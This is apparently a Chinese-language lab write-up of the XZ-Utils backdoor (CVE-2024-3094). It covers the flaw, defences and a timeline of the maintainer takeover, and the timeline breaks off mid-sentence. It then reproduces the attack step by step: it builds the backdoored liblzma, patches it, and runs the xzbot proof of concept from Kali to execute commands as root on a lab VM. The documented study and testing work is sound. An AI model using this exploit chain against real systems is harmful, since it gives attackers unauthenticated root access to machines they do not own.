XZ后门漏洞复现
基础环境:
靶机系统:Ubuntu-22.04.5-live-server-amd64
攻击系统:kali-linux-2024.4-vmware-amd64
虚拟机平台:VMware Workstation PRO 17
网卡模式:桥接
Kali IP:10.86.29.238
靶机 IP:10.86.29.246
漏洞介绍:
一、定义
CVE-2024-3094 是一个影响 XZ-Utils 的高危漏洞,涉及在 5.6.0 和 5.6.1 版本中植入的后门。攻击者通过篡改 XZ-Utils 的构建脚本,在特定条件下从伪装的测试文件中提取恶意代码,并将其注入到 liblzma 库中。篡改后的 liblzma 库会劫持 OpenSSH 的 RSA_public_decrypt() 函数,导致攻击者可以通过构造特定的验证数据绕过 RSA 签名验证,从而实现未授权访问。
二、分类
根据漏洞的利用方式和影响范围,CVE-2024-3094 可以分为以下两种类型:
1. 供应链后门
攻击者通过篡改 XZ-Utils 的构建脚本,在分发的软件包中植入后门代码。这种类型的攻击影响范围广泛,因为许多 Linux 发行版和应用程序依赖于 XZ-Utils。
2. 未授权访问
攻击者利用篡改后的 liblzma 库,通过构造特定的 SSH 连接请求,绕过正常的认证机制,直接获得目标系统的访问权限。
三、利用方式
攻击者可以利用 CVE-2024-3094 漏洞进行以下几种常见的攻击:
1. 绕过 SSH 认证
攻击者通过构造特殊的 SSH 连接请求,利用篡改后的 liblzma 库中的后门代码,绕过 RSA 签名验证,从而在无需有效凭证的情况下登录目标系统的 SSH 服务。
2. 执行任意代码
成功绕过 SSH 认证后,攻击者可以在目标系统上以 root 权限执行任意命令,包括安装后门、窃取数据、修改系统配置等。
3. 提权攻击
如果攻击者已经获得了系统的普通用户权限,利用此漏洞可以提升权限至 root,从而完全控制目标系统。
四、防御措施
以下是一些常见的防御措施,可以帮助系统管理员检测和防御 CVE-2024-3094 漏洞:
1. 更新或降级
如果确认受影响,可将 XZ-Utils 升级到安全版本,或降级到未受影响的版本,如 XZ-Utils 5.4.6 Stable。
对于受支持的 Linux 发行版,应用供应商提供的安全更新。
2. 检测漏洞
用户可以通过执行以下命令判断使用的 xz 是否为受影响的版本:xz--version
使用 Openwall 上发布的脚本检查系统是否被感染后门。
3. 限制 SSH 访问
仅允许授权的用户和 IP 地址访问 SSH 服务,使用防火墙规则限制不必要的访问。
配置 SSH 服务时,禁用 root 用户的直接登录,使用普通用户进行身份验证后切换到 root。
4. 使用强认证
启用 SSH 密钥认证,避免使用弱密码,并定期更换密码。
配置 SSH 服务时,禁用密码认证,仅允许密钥认证。
5. 监控和审计
持续监控系统活动和日志,及时发现异常行为并进行调查。
定期检查系统中的用户账户和权限设置,确保没有异常的后门账户。
五、实战案例
假设你发现了一个存在 CVE-2024-3094 漏洞的目标系统,可以通过以下步骤进行验证和利用:
发现漏洞
确认目标系统使用了受影响的 XZ-Utils 版本:xz -V
检查目标系统是否使用了篡改后的 liblzma 库:shasum-a256/usr/lib/x86_64-linux-gnu/liblzma.so.5
利用漏洞
构造恶意 SSH 连接请求,绕过认证:~/go/bin/xzbot -addr 127.0.0.1:2222 -cmd 'id > /tmp/.xz'
在目标系统上执行命令,验证是否成功获得访问权限:cat/tmp/.xz
防御措施
1. 立即更新 XZ-Utils 到安全版本,或降级到未受影响的版本。
2. 检查系统中的用户账户和权限设置,删除任何异常的后门账户。
3. 配置 SSH 服务,限制访问权限并使用强认证机制。
六、事件过程:
2021年
一个叫Jia Tan的用户在GitHub创建自己的账户JiaT75。
11月16日,Jia Tan在libarchive项目中提交了自己的第一个PR(Pull Request),标题是Added error text to warning when untaring with bsdtar.(使用bsdtar解包时增加错误文本警告)
但实际PR的内容却比该标题声明的多,比如将safe_fprint替换为不安全的变量。而该项目的维护者直到XZ后门事件曝光后才迟迟拒绝了这次的PR。
2022年
3月10日,Jia Tan首次出现在了XZ项目的邮件列表中,称自己发现了一个bug,并在自己fork的项目中做了相关的测试代码,即没有提交PR,而是通过邮件列表积极参与项目沟通。
4月19日,Jia Tan通过邮件列表补充提交了一个补丁,这个补丁的提交得到另一个邮件列表成员Jigar Kumar(非项目维护人员)在精神上的支持,因为XZ项目开发和维护进度太慢了,而Jia Tan表现的相当积极。
5月19日,邮件列表成员Dennis Ens(非项目维护人员)在邮件列表中吐槽项目开发进度太慢,这封邮件得到Jigar Kumar的附和,希望向原维护者Lasse Collin施压增加一名项目维护者。
这次施压有了一定的效果,原维护者Lasse Collin在回复中称联合维护者者需要有技术、时间和足够的耐心投入XZ项目,而他在早前的邮件列表历史中发现Jia Tan或许可以担当重任。
2023年
1月7日,Jia Tan终于迎来了他提交的PR的第一次合并,这意味着他已经得到了XZ项目的信任。
3月20日,在Google的oss-fuzz项目(该项目是为开源项目做模糊测试,因Heartbleed漏洞的出现而于2016年发起)中,Jia Tan将XZ项目的主要联系人更换为了自己的邮箱。
6月27日,Jia Tan提交了由Hanz Jansen编写的漏洞利用测试框架。
2024年
2月11日,Jia Tan在oss-fuzz项目中将项目主页地址做了修改,说明Jia Tan已经彻底接管了XZ项目。
2月23日和3月9日,Jia Tan分别提交了Tests:Add a few test files和Tests:Update two test files两个commit,这两个commit也是XZ项目后门出现的两次提交。
3月25日,Hans Jansen、misoeater91、krygorin4545等用户开始推动在Debian等Linux发行版中加入后门版本XZ-Utils,Jia Tan也试图推动在Ubuntu的beta版本冻结前加入后门版本XZ-Utils,但没有成功。
3月29日,Andres Freund向开源项目安全邮件列表
漏洞复现:
附件 - ssh源码中的公钥:ssh-rsa.c
在Ubuntu中执行以下命令:
#换源
sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak
sudo vim /etc/apt/sources.list
--------------------
deb https://mirrors.aliyun.com/ubuntu/ jammy main restricted universe multiverse
deb-src https://mirrors.aliyun.com/ubuntu/ jammy main restricted universe multiverse
deb https://mirrors.aliyun.com/ubuntu/ jammy-security main restricted universe multiverse
deb-src https://mirrors.aliyun.com/ubuntu/ jammy-security main restricted universe multiverse
deb https://mirrors.aliyun.com/ubuntu/ jammy-updates main restricted universe multiverse
deb-src https://mirrors.aliyun.com/ubuntu/ jammy-updates main restricted universe multiverse
deb https://mirrors.aliyun.com/ubuntu/ jammy-backports main restricted universe multiverse
deb-src https://mirrors.aliyun.com/ubuntu/ jammy-backports main restricted universe multiverse
--------------------
sudo apt update && sudo apt-get update && sudo apt-get upgrade
sudo apt-get install autoconf automake libtool zlib1g-dev make build-essential zlib1g-dev -y
sudo apt install openssl libssl-dev zlib zlib-devel python3-pip -y
#首先下载漏洞复现所需要的相关资源
cd ~
git clone https://github.com/amlweems/xzbot.git
#然后下载OpenSSH源码,并对其打补丁,目的是使用与该漏洞的后门格式匹配的公钥进行连接
git clone https://github.com/openssh/openssh-portable
cd openssh-portable/
chmod +x ~/xzbot/openssh.patch
vim ssh-rsa.c #看上面的文件改成一摸一样的
autoreconf
./configure
make
#然后下载并安装存在该漏洞的xz-utils
cd ~
wget https://snapshot.debian.org/archive/debian/20240328T025657Z/pool/main/x/xz-utils/xz-utils_5.6.1.orig.tar.xz
tar xf xz-utils_5.6.1.orig.tar.xz
cd xz-5.6.1
./configure
make
sudo make install
#然后对原有的“liblzma.so”打补丁
cd ~/xzbot/
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pwntools
python3 patch.py assets/liblzma.so.5.6.1
ls -l assets/liblzma.so.5.6.1.patch
sudo cp /usr/local/lib/liblzma.so.5 /usr/local/lib/liblzma.so.5.backup
sudo cp assets/liblzma.so.5.6.1.patch /usr/local/lib/liblzma.so.5
sudo ldconfig
xz --version
#然后安装Go并安装拥有POC的Go模块
cd ~
$ sudo apt install golang -y
$ go env -w GOPROXY=https://goproxy.cn
$ go install github.com/amlweems/xzbot@latest
#打开一个新的终端,执行如下命令来监听本地的2222端口
nc -l 2222
cd ~/go/bin
#然后回到之前的终端,执行如下命令来进行漏洞复现
$ ~/go/bin/xzbot -addr 127.0.0.1:2222 id > /tmp/.xz
#然后会在监听终端打印如下信息
SSH-2.0-Go漏洞复现成功
打开Kali终端 [Root]
#检查IP
ip add
#扫描主机端口
nmap 10.86.29.246
#检查git是否安装
git
#下载组件
git clone https://github.com/amlweems/xzbot.git
cd xzbot
ls
apt install golang -y
go env -w GOPROXY=https://goproxy.cn
go install github.com/amlweems/xzbot@latest
#进入目录
cd ~/go/bin
#执行命令
./xzbot -addr "10.86.29.246:22" -cmd "date >> /tmp/.xz"
./xzbot -addr "10.86.29.246:22" -cmd "ip add >> /tmp/.xz"
./xzbot -addr "10.86.29.246:22" -cmd "id >> /tmp/.xz"
#命令格式解析
./xzbot -addr "<目标IP>:<目标端口>" -cmd "<要执行的命令>"
./xzbot -addr "<目标IP>:<目标端口>" -cmd "<要执行的命令> >> <追加文件路径(用于查看结果)>"切换回Ubuntu
#查看/tmp/xz文件
cat .xz
#文件内容
----------------------------------------
Thu Mar 20 09:38:42 AM UTC 2025
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:4f:29:1e brd ff:ff:ff:ff:ff:ff
altname enp2s1
inet 10.86.29.246/26 brd 10.86.29.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 fe80::20c:29ff:fe4f:291e/64 scope link
valid_lft forever preferred_lft forever
uid=0(root) gid=0(root) groups=0(root)
----------------------------------------